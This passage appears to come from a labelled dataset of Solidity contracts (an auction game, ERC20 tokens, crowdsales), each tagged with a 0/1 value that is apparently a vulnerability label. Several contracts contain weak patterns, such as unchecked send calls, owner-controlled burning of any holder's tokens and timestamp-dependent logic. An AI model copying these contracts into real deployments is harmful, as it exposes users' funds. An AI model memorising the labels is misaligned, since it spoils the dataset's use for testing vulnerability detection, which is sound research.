gameAuction[gameId][gameAuction[gameId].length - 1].money = msg.value;
gameAuction[gameId][gameAuction[gameId].length - 1].bid = auctionValue;
gameAuction[gameId][gameAuction[gameId].length - 1].refunded = false;
gameAuction[gameId][gameAuction[gameId].length - 1].dividended = false;
emit GameAuction(gameId, msg.sender, msg.value, auctionValue, gameSecondLeft, block.timestamp);
}
function claimReward(uint256 _id) public {
_claimReward(msg.sender, _id);
}
function _claimReward(address _addr, uint256 _id) internal {
if (_id == gameId) {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended == false)
revert('game is still on, cannot claim reward');
}
uint _reward = 0;
uint _dividends = 0;
uint _myMoney = 0;
uint _myDividends = 0;
uint _myRefund = 0;
uint _myReward = 0;
bool _claimed = false;
(_myMoney, _myDividends, _myRefund, _myReward, _claimed) = _getGameInfoPart1(_addr, _id);
(_reward, _dividends) = _getGameInfoPart2(_id);
if (_claimed)
revert('already claimed!');
for (uint k = 0; k < gameAuction[_id].length; k++) {
if (gameAuction[_id][k].addr == _addr) {
gameAuction[_id][k].dividended = true;
}
}
_addr.transfer(_myDividends + _myRefund + _myReward);
emit GameRewardClaim(_id, _addr, _myDividends + _myRefund + _myReward);
}
function refund() public {
uint256 len = gameAuction[gameId].length;
if (len > 1) {
if (msg.sender != gameAuction[gameId][len - 2].addr
&& msg.sender != gameAuction[gameId][len - 1].addr) {
uint256 money = 0;
for (uint k = 0; k < gameAuction[gameId].length; k++) {
if (gameAuction[gameId][k].addr == msg.sender && gameAuction[gameId][k].refunded == false) {
money = money + gameAuction[gameId][k].bid * 85 / 100 + gameAuction[gameId][k].money;
gameAuction[gameId][k].refunded = true;
}
}
msg.sender.transfer(money);
emit GameRewardRefund(gameId, msg.sender, money);
} else {
revert('cannot refund because you are no.2 bidder');
}
}
}
function gameRoundEnd() public {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended == false)
revert("game cannot end");
uint256 len = gameAuction[gameId].length;
address winner = gameAuction[gameId][len - 1].addr;
GameData memory d;
gameData.push(d);
gameData[gameData.length - 1].gameId = gameId;
gameData[gameData.length - 1].reward = reward;
gameData[gameData.length - 1].dividends = dividends;
_startNewRound(msg.sender);
_claimReward(msg.sender, gameId - 1);
emit GameEnd(gameId - 1, winner, gameData[gameData.length - 1].reward, block.timestamp);
}
function getCurrCanRefund() public view returns (bool) {
if (gameAuction[gameId].length > 1) {
if (msg.sender == gameAuction[gameId][gameAuction[gameId].length - 2].addr) {
return false;
} else if (msg.sender == gameAuction[gameId][gameAuction[gameId].length - 1].addr) {
return false;
}
return true;
} else {
return false;
}
}
function getCurrGameInfo() public view returns (uint256 _gameId,
uint256 _reward,
uint256 _dividends,
uint256 _lastAuction,
uint256 _gap,
uint256 _lastAuctionTime,
uint256 _secondsLeft,
uint256 _myMoney,
uint256 _myDividends,
uint256 _myRefund,
bool _ended) {
_gameId = gameId;
_reward = reward;
_dividends = dividends;
_lastAuction = gameLastAuctionMoney;
_gap = _getGameAuctionGap();
_lastAuctionTime = gameLastAuctionTime;
_secondsLeft = gameSecondLeft;
_ended = (block.timestamp > _lastAuctionTime + _secondsLeft) ? true: false;
uint256 _moneyForCal = 0;
if (gameAuction[gameId].length > 1) {
uint256 totalMoney = 0;
for (uint256 i = 0; i < gameAuction[gameId].length; i++) {
if (gameAuction[gameId][i].addr == msg.sender && gameAuction[gameId][i].dividended == true) {
}
if (gameAuction[gameId][i].addr == msg.sender && gameAuction[gameId][i].refunded == false) {
if ((i == gameAuction[gameId].length - 2) || (i == gameAuction[gameId].length - 1)) {
_myRefund = _myRefund.add(gameAuction[gameId][i].money).sub(gameAuction[gameId][i].bid);
} else {
_myRefund = _myRefund.add(gameAuction[gameId][i].money).sub(gameAuction[gameId][i].bid.mul(15).div(100));
}
_myMoney = _myMoney + gameAuction[gameId][i].money;
_moneyForCal = _moneyForCal.add((gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId].length + 1 - i));
}
if (gameAuction[gameId][i].refunded == false) {
totalMoney = totalMoney.add((gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId].length + 1 - i));
}
}
if (totalMoney != 0)
_myDividends = _moneyForCal.mul(_dividends).div(totalMoney);
}
}
function getGameDataByIndex(uint256 _index) public view returns (uint256 _id, uint256 _reward, uint256 _dividends) {
uint256 len = gameData.length;
if (len >= (_index + 1)) {
GameData memory d = gameData[_index];
_id = d.gameId;
_reward = d.reward;
_dividends = d.dividends;
}
}
function getGameInfo(uint256 _id) public view returns (uint256 _reward, uint256 _dividends, uint256 _myMoney, uint256 _myDividends, uint256 _myRefund, uint256 _myReward, bool _claimed) {
(_reward, _dividends) = _getGameInfoPart2(_id);
(_myMoney, _myRefund, _myDividends, _myReward, _claimed) = _getGameInfoPart1(msg.sender, _id);
}
function _getGameInfoPart1(address _addr, uint256 _id) internal view returns (uint256 _myMoney, uint256 _myRefund, uint256 _myDividends, uint256 _myReward, bool _claimed) {
uint256 totalMoney = 0;
uint k = 0;
if (_id == gameId) {
} else {
for (uint256 i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
if (gameAuction[d.gameId].length > 1) {
if (gameAuction[d.gameId][gameAuction[d.gameId].length - 1].addr == _addr) {
_myReward = d.reward;
_myReward = _myReward + gameAuction[d.gameId][gameAuction[d.gameId].length - 2].bid;
}
totalMoney = 0;
uint256 _moneyForCal = 0;
for (k = 0; k < gameAuction[d.gameId].length; k++) {
if (gameAuction[d.gameId][k].addr == _addr && gameAuction[d.gameId][k].dividended == true) {
_claimed = true;
}
if (gameAuction[d.gameId][k].addr == _addr && gameAuction[d.gameId][k].refunded == false && k != (gameAuction[d.gameId].length - 2)) {
_myRefund = _myRefund.add( gameAuction[d.gameId][k].money.sub( gameAuction[d.gameId][k].bid.mul(15).div(100) ) );
_moneyForCal = _moneyForCal.add( (gameAuction[d.gameId][k].money.div(10**15)).mul( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId].length + 1 - k) );
_myMoney = _myMoney.add(gameAuction[d.gameId][k].money);
}
if (gameAuction[d.gameId][k].refunded == false && k != (gameAuction[d.gameId].length - 2)) {
totalMoney = totalMoney.add( ( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId].length + 1 - k) );
}
}
if (totalMoney != 0)
_myDividends = d.dividends.mul(_moneyForCal).div(totalMoney);
}
break;
}
}
}
}
function _getGameInfoPart2(uint256 _id) internal view returns (uint256 _reward, uint256 _dividends) {
if (_id == gameId) {
} else {
for (uint256 i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
_reward = d.reward;
_dividends = d.dividends;
break;
}
}
}
}
function _getGameStartAuctionMoney() internal pure returns (uint256) {
return 10**15;
}
function _getGameAuctionGap() internal view returns (uint256) {
if (gameLastAuctionMoney < 10**18) {
return 10**15;
}
uint256 n = 17;
for (n = 18; n < 200; n ++) {
if (gameLastAuctionMoney >= 10**n && gameLastAuctionMoney < 10**(n + 1)) {
break;
}
}
return 10**(n-2);
}
function _getMinAuctionSeconds() internal pure returns (uint256) {
return 15 * 60;
}
function _getMaxAuctionSeconds() internal pure returns (uint256) {
return 30 * 60;
}
function _getInitAuctionSeconds() internal pure returns (uint256) {
return 3 * 24 * 60 * 60;
}
function _getMinAuctionStartPrice() internal view returns (uint256) {
if (reward < 10**18) {
return 10**15;
}
uint256 n = 17;
for (n = 18; n < 200; n ++) {
if (reward >= 10**n && reward < 10**(n + 1)) {
break;
}
}
return 10**(n-2);
}
} | 0 | 1,244 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TradeAdsCoin {
using SafeMath for uint256;
string public constant name = "TradeAds Coin";
string public constant symbol = "TRD";
uint8 public constant decimals = 18;
uint256 public constant _totalSupply = 100000000000000000000000000;
address public owner;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
function TradeAdsCoin() public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function () public payable {
tTokens();
}
function tTokens() public payable {
require(msg.value > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
balances[owner] = balances[owner].sub(msg.value);
owner.transfer(msg.value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
} else {
return false;
}
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _address) public constant returns (uint256 balance) {
return balances[_address];
}
function totalSupply() public constant returns (uint256 totalSupply) {
return _totalSupply;
}
} | 1 | 2,459 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ES_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "ES TOKEN";
string public symbol = "ES";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 100000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 582 |
pragma solidity ^0.4.13;
contract BitWestToken {
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function BitWestToken() {
owner = 0xe6C37d321aB3E3669C67347F9cd525b769459FcA;
name = 'BitWest Token';
symbol = 'BWT';
decimals = 18;
totalSupply = 2000000000000000000000000000;
balanceOf[owner] = 2000000000000000000000000000;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(msg.sender == owner);
balanceOf[_from] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 2,337 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Frozen is Pausable {
event FrozenFunds(address target, bool frozen);
mapping (address => bool) public frozenAccount;
function freezeAccount(address target, bool freeze) onlyOwner whenNotPaused public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
modifier whenNotFrozen() {
require(!frozenAccount[msg.sender]);
_;
}
}
contract PausableFrozenToken is StandardToken, Frozen {
function transfer(address _to, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) {
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) {
return super.approve(_spender, _value);
}
}
contract MengToken is PausableFrozenToken {
string public name = "MengToken";
string public symbol = "MT";
string public version = '1.0.0';
uint8 public decimals = 18;
function MengToken() {
totalSupply = 100000000 * (10**(uint256(decimals)));
balances[msg.sender] = totalSupply;
}
function () {
revert();
}
} | 1 | 3,839 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
address public burner;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public pricePresale = 10000;
uint public priceRound1 = 5000;
uint public priceRound2 = 4500;
uint public priceRound3 = 4000;
uint public priceRound4 = 3500;
uint public totalSupply = 61200000 * 1 ether;
uint public supplyRound1 = 10000000 * 1 ether;
uint public supplyRound2 = 10000000 * 1 ether;
uint public supplyRound3 = 10000000 * 1 ether;
uint public supplyRound4 = 10000000 * 1 ether;
uint private suppyLeft;
uint public erotixFundMultiplier = 50;
uint public foundersFundMultiplier = 3;
uint public requestedTokens;
uint public amountAvailable;
bool round1Open = true;
bool round2Open = false;
bool round3Open = false;
bool round4Open = false;
bool soldOut = false;
address public erotixFund = 0x1a0cc2B7F7Cb6fFFd3194A2AEBd78A4a072915Be;
address public foundersFund = 0xaefe05643b613823dBAF6245AFb819Fd56fBdd22;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint endOfCrowdsale,
address addressOfTokenUsedAsReward,
address burnAddress
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = endOfCrowdsale;
tokenReward = token(addressOfTokenUsedAsReward);
burner = burnAddress;
}
function () payable public {
require(!crowdsaleClosed);
require(!soldOut);
uint amount = msg.value;
bool orderFilled = false;
while(!orderFilled) {
uint orderRate;
uint curSupply;
if(round1Open) {
orderRate = priceRound1;
curSupply = supplyRound1;
} else if(round2Open) {
orderRate = priceRound2;
curSupply = supplyRound2;
} else if(round3Open) {
orderRate = priceRound3;
curSupply = supplyRound3;
} else if(round4Open) {
orderRate = priceRound4;
curSupply = supplyRound4;
}
requestedTokens = amount * orderRate;
if (requestedTokens <= curSupply) {
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * orderRate);
tokenReward.transfer(erotixFund, amount * orderRate * erotixFundMultiplier / 100);
tokenReward.transfer(foundersFund, amount * orderRate * foundersFundMultiplier / 100);
FundTransfer(msg.sender, amount, true);
if(round1Open) {
supplyRound1 -= requestedTokens;
} else if(round2Open) {
supplyRound2 -= requestedTokens;
} else if(round3Open) {
supplyRound3 -= requestedTokens;
} else if(round4Open) {
supplyRound4 -= requestedTokens;
}
orderFilled = true;
} else {
amountAvailable = curSupply / orderRate;
balanceOf[msg.sender] += amountAvailable;
amountRaised += amountAvailable;
tokenReward.transfer(msg.sender, amountAvailable * orderRate);
tokenReward.transfer(erotixFund, amountAvailable * orderRate * erotixFundMultiplier / 100);
tokenReward.transfer(foundersFund, amountAvailable * orderRate * foundersFundMultiplier / 100);
FundTransfer(msg.sender, amountAvailable, true);
amount -= amountAvailable;
supplyRound1 = 0;
if(round1Open) {
supplyRound1 = 0;
round1Open = false;
round2Open = true;
} else if(round2Open) {
supplyRound2 = 0;
round2Open = false;
round3Open = true;
} else if(round3Open) {
supplyRound3 = 0;
round3Open = false;
round4Open = true;
} else if(round4Open) {
supplyRound4 = 0;
round4Open = false;
soldOut = true;
msg.sender.send(amount);
}
}
}
}
function checkGoalReached() public {
if (now >= deadline || soldOut) {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
suppyLeft = supplyRound1 + supplyRound2 + supplyRound3 + supplyRound4;
if (suppyLeft > 0) {
tokenReward.transfer(burner, suppyLeft);
tokenReward.transfer(burner, suppyLeft * erotixFundMultiplier / 100);
tokenReward.transfer(burner, suppyLeft * foundersFundMultiplier / 100);
}
}
}
function safeWithdrawal() public {
if (now >= deadline) {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
}
if (crowdsaleClosed) {
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
}
}
}
}
} | 1 | 3,507 |
pragma solidity ^0.4.13;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract BaseMonoretoCrowdsale is CappedCrowdsale, RefundableCrowdsale, MintedCrowdsale {
using SafeMath for uint256;
uint256 public usdEth;
uint256 public usdMnr;
uint256 public tokensPurchased;
uint256 public tokenTarget;
